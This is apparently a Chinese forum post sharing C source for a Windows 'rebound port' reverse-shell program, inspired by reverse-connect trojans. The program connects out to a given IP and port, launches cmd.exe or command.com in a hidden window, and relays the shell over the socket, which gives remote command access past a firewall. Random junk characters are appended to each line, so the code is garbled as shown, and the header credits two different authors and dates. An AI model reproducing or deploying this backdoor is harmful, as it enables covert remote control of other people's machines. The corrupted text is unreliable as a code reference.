这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |\Q2L;4C
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/* ============================== -,Js2+QZ#
Rebound port in Windows NT Xf[;^?]X
By wind,2006/7 r PTfwhs
===============================*/ $Xh5N3
#include 0 ;].q*|#
#include <MKXFV
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#pragma comment(lib,"wsock32.lib") kC ALJRf~d
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void OutputShell(); QUm[7<"
SOCKET sClient; ^Kl*}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; j/jFS]iC
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void main(int argc,char **argv) kRr/x-"
{ eE_$ ADEf
WSADATA stWsaData; O6,2M[a
int nRet; _kc}:
SOCKADDR_IN stSaiClient,stSaiServer; &7,::$cu
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if(argc != 3) KF1Zy;
{ }lXor~_i
printf("Useage:\n\rRebound DestIP DestPort\n"); DS9-i2
return; Q-B/SX)!/
} Y_6v@SiO
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WSAStartup(MAKEWORD(2,2),&stWsaData); @}
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CED[\n
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stSaiClient.sin_family = AF_INET; Qp7F3,/#
stSaiClient.sin_port = htons(0);
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <(_Tanx9Q
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +tlBOl$
{ Ljiw9*ZI
printf("Bind Socket Failed!\n"); >xA(*7
return; ArjRoXDE
} (w#)|9Cxm
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stSaiServer.sin_family = AF_INET; M(yWE0 3
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &^w"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); m?gGFxo
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1JJ1!& >
{ $ce*W9`
printf("Connect Error!"); Ly/
return; 0176
} @FZ_[CYg
OutputShell(); N`{6<Z0
} ZNl1e'
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void OutputShell() +*Fe
{ D>^g2!b:
char szBuff[1024]; lD->1=z
SECURITY_ATTRIBUTES stSecurityAttributes; ^QjkZ^<dD
OSVERSIONINFO stOsversionInfo; 4e?bkC
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; H DD)AM&p
STARTUPINFO stStartupInfo; &EYoviFp
char *szShell; >j7]gi(
PROCESS_INFORMATION stProcessInformation; t3g+>U_m
unsigned long lBytesRead; .beqfcj"
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); BR-wL3x
b
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ji\&?%(B
stSecurityAttributes.lpSecurityDescriptor = 0; Jamt@=
stSecurityAttributes.bInheritHandle = TRUE; ho)JY
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}I MV@z B
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?S9vYaA$
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a@Zolz_Z
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); f`*VNB`
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WgG$ r
stStartupInfo.wShowWindow = SW_HIDE; )#1!%aQ
stStartupInfo.hStdInput = hReadPipe; 2#00<t\
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4"3.7.<Q`
}D?qj3?bj
GetVersionEx(&stOsversionInfo); 2s>BNWTU
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switch(stOsversionInfo.dwPlatformId) uix/O*^
{ Q, "8Ty
case 1: pr1bsrMuL
szShell = "command.com"; )pe17T1|
break; LE)$_i8gX
default: @Kn@j D;
szShell = "cmd.exe"; X 5X D1[
break; e2K9CE.O
} | lZJt
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 6|{&7=1t
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send(sClient,szMsg,77,0); VXlAK(
while(1) lzz;L
z
{ )v11j.D
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ms!|a_H7r
if(lBytesRead) ywkRH
{ m2YsE
j7
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); U* c'xoP
send(sClient,szBuff,lBytesRead,0); Fq!_VF^r
} C(h Td%
else !*HJBZ]q
{ `m8WLj
lBytesRead=recv(sClient,szBuff,1024,0); ?E(X>tH
if(lBytesRead<=0) break; !f&hVLs0
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `u7^r^>A
} RHpjJZUV
} R*FDg;t4
C"mWO Y2]
return; lN8l71N^
}